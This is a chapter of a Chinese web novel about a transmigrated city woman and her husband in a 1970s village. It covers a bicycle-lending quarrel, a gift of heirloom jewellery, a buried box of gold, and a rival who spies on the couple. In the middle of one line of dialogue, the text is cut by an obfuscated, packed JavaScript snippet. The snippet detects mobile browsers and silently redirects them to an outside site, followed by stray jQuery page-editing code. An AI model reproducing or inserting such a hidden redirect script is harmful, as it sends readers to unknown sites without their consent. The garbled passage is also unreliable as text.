俩人回村的时候是一人蹬了一辆自行车,但林庭月骑的那辆干净到反光,一看就很新。
“这什么情况?他们买自行车了?”
“那肯定是啊,不过这自行车可得攒个二三十张的票吧?”
“还是城里来的姑娘有钱,自行车说买就买……”
路过的乡亲们议论纷纷,林庭月只当是些没用的背景音略过。
两人刚到家放下东西,没多久还真有人上门了。
“小舟啊,大娘想跟你借这自行车用两天,我儿子最近正好要相看对象。”来人正是上次一起坐牛车的钱大娘,就喜欢占别人便宜,自己分文不掏的。
喻行舟尴尬地笑了笑,“这个我得问问……我做不了主。”
林庭月人虽在厨房忙活,但能听见他们在说什么,直接扬声回了句:“骑一次一毛钱,先给钱再用,当天晚上之前可得给我还回来。”
钱大娘一听要钱,那笑容就绷不住了,“这咋还要钱呢?都是乡里乡亲的帮个忙,这孩子真是掉钱眼儿里了!”
林庭月不是不想帮,但也要分人,上次同坐牛车就能看出来钱大娘是个吝啬的,而且她可是从窗户里看到钱大娘空着手来的,张嘴要借两天,她去找大队长借车还知道拿点红糖呢。
“钱大娘,我想您也是看出来我这是新买的才找我借对吧?我老家那边的车行租自行车一个小时可都要一毛钱,还得交押金,收钱这也是怕有个万一,再者您是给儿子充脸面用,也不是急事,要是不想花钱就找大队长去借吧。”
“你这丫头怎么说话这么难听呢!”
林庭月笑了笑没再搭理钱大娘,而是装作继续干活的样子端了盆刷锅水出来直接泼出去,差点溅到钱大娘身上。
钱大娘怒指着林庭月向身旁的男人告状,“小舟啊,你家婆娘这样你怎么受得了的!”
“大娘,我这成分能娶到媳妇就不错了,哪儿还轮得到我挑毛病的。”喻行舟说到媳妇两个字的时候都觉得烫嘴,可他们现在就是合法夫妻,而且在外人面前他肯定要向着自己人。
钱大娘被噎得一阵无语,又舍不得掏那一毛钱,只能转身走了,顺带把林庭月这事儿宣扬了出去。
喻行舟其实也觉得不该白借,起码没有新买来就白借出去的道理,都是真金白银买回来的,万一磕了碰了要怎么算?在村里生活几年了,这些乡亲谁是个什么脾性大家心里都清楚,所以他也能看出来林庭月不是真的想要那一毛钱,就是单纯不想借给钱大娘。
两人对此都没有多做解释,反而是相视一笑。
想到喻行舟明天开始就去学校上班,两人对家务分工重新做了调整,以后的一日三餐都由喻行舟来做了,学校的工作相对来说比较轻,上下课的时间也比下地干活的人要短。不过晚上时间多,林庭月会帮着一起刷锅洗碗,处理第二天要用的食材,或者她有想吃的菜对方不会做还要提前教会才行。
其他家务活还是照旧分着来,只不过考虑到林庭月每天是纯干体力活,喻行舟自愿承担了大部分费时费力的家务活,比方说去挑井水、洗衣服、清理厕所。这在林庭月看来已是十分不错,毕竟家务活是一种隐形劳动,在后世人们尚且能用一些智能家电解放双手,现在的他们只能亲力亲为。
喻行舟没有对此计较谁多干点少干点,让林庭月更欣赏这位结婚搭子了,如果之前是始于颜值和未来身份,那现在性格习惯也合得来,她忽然觉得穿进这本小说的体验也没有那么差了。
若是彼此还能真心换真心,兴许她这辈子会比上辈子过得还要好……
林庭月这么想着,也许她可以主动迈出一步,至少要先多制造些互动,不然怎么培养感情?
正在她思考这会儿有什么适合小情侣的娱乐活动时,喻行舟忽然一阵翻箱倒柜,而后取出一个看起来像首饰盒的檀木盒子,送到她手心。
“这是……”林庭月在疑惑中打开盒子,里面的确是一些首饰,不过最醒目的还是当中那只透亮的碧绿玉镯。
“是我奶奶留给我的,她在的时候我还没娶妻,就特意藏了这么一盒子首饰。”
林庭月又看了看那些银耳环金戒指之类的,的确是没什么使用痕迹,就是时间久了多少有点氧化。先不说这些价值多少,这到底是老人家留给孙子的东西,是个念想,对她来说都太贵重了。
“这我不能收……”
喻行舟听到这话垂下眼帘,明明是六月的天气,却让他感觉到寒冷。这已经是他能拿得出手的最好的东西了,可林庭月家世这样好,看不上这些也应该的。
“不过在家里倒是可以戴一戴。”林庭月从中取出一枚金戒指,掰开男人攥紧的拳头,将其放在他掌心,而后又伸出自己的左手,“咳咳……那就请喻行舟同志为你的妻子戴上这枚婚戒。”
男人先是错愕,嘴巴微张,漂亮的双瞳也震颤着,紧接着脸色爆红。
“快点啊,我手都举累了。”
林庭月的声线也不同于往常,带着些撒娇的意味,钻进耳膜时都觉得有些痒,喻行舟低着头也不敢看,只顾着帮她戴戒指。
也不知道是不是太紧张了,喻行舟特别专注,将那隐约还泛着光泽的戒指推到指节尽头,卡得刚刚好。
戒圈厚而宽,椭圆形的戒面上还刻着花朵纹样,林庭月摸摸看看好一会儿,就打算摘下来和喻行舟一起准备晚饭,结果她使劲拽了拽,竟然摘不掉了。
喻行舟看她手指都搓红了,劝道:“要不然先戴着吧。”
“那不行,等下做饭弄得都是油,我去打点肥皂试试。”林庭月说着就去了洗澡间,把肥皂打湿以后双手裹满湿滑的皂液,总算是把戒指脱下来了。
喻行舟站在外头看着林庭月小心的将戒指冲洗干净,心里又觉得有些苦涩,他竟然让一个这样好的人陪着他吃苦,如果林庭月不留在乡下,但凡求一求父母也许很快就能回北城,继续过着十指不沾阳春水的日子,不用担心干活会弄脏戒指。
趁着他们感情不深厚,他应该让她走才是……
喻行舟的脑海中还在天人交战,林庭月却已经擦干净戒指出来了。
“我刚刚突然在想,能不能做点手工皂去黑市上卖,或者换点肉也行。”
喻行舟反应了两秒才问:“是说香皂吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223710|181641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些供销社都有卖的,会不会不好卖?”
“那就换个赛道做些不一样的,比如羊奶皂,专用来洗脸洗手洗澡……就是羊奶是不是不太好弄到?”
“村里是有养羊的,但羊奶都是喂小羊的,想要还是得拿吃的换。”
既然能换就好说了,而且羊奶也不着急,她总要先成功做出来一块手工皂才考虑往里面加其他配料。
喻行舟斟酌了一下又说:“你要是缺钱的话,我还有些东西可以拿去换钱,但是在后山埋着。”
“?”林庭月缓缓打出一个问号,并且认为喻行舟可能是属袋鼠的,甩甩还能从兜里掉出来点什么,“不是盗墓吧?”
“不是,都是我爷爷以前藏的一部分家底。”
“那要不现在就去看看?”
“……行。”
于是村里家家户户升起炊烟的时候,林庭月正在后山上奋力挥铲。
喻老爷子埋得确实够深,两人挖了好一会儿才隐约看到一块不同于黑土的颜色,林庭月用铲子敲了敲,确定是个木箱子。
箱子不大,但打开后林庭月还是被惊到了,这里头除了少部分看起来像是收藏品的玉器、银元,箱底铺了一块金砖,看起来像是早年自己熔铸的,上面印的字不全,约莫是已经用过一部分拿来打首饰了。
这也难怪喻行舟父子二人能在改革开放以后做生意挣钱,感情是有启动资金的……
————
距离做晚饭还有段时间的时候,知青点里爆发了一次争吵。
主要也是因为许星熠现在有了学校的工作,每个月还能多领五块钱,说不酸那是假的。再加上作为致使林庭月这位冤大头离开知青点的罪魁祸首,有那么几个人早就看他不顺眼了。
过去许星熠自诩是北城来的,许多人他瞧不上眼,没怎么去维持过社交关系,反倒是林庭月之前为了许星熠在乡下能生活的好一些,刚来到给这些男知青们送了不少吃的喝的,想让他们干活的时候多照顾照顾许星熠。众人拿人手短吃人嘴软的,没人说过许星熠的不是,现在没了冤大头,最近一段时间都只能吃拉嗓子的窝头配稀粥,除了菜干也见不到太多荤腥。
这年头大家也都不富裕,都想省着点花,伙食水平直线下降,于是几个人就想撺掇许星熠出点钱,庆祝他当上小学老师,大家也能跟着搓一顿好的。
结果也可想而知,许星熠不上这个当,被几个人挤兑了。
眼看就要打起来了,当中最年长的知青陈瀚拉着许星熠往外走,“这样,我跟许星熠去后山看看,打点野味回来。”
陈瀚在东河村待了有两三年,偶尔会去后山用弹弓打点野鸡野兔子,于是拉着许星熠上山了。他倒是不指望许星熠这小少爷似的能打到点什么,只要能把暂时把两边人分开,大家火气散了也就没事了。
所以陈瀚是认真在山里追野鸡野兔子,许星熠就在山上乱逛,这一逛就瞧见了两道熟悉的身影,正蹲在地上捣鼓什么,而后各自背上背篓,从另一个方向慢悠悠下山了。
许星熠直觉他们是在埋什么东西,就等着两人再走远些就上前看看到底有什么宝贝。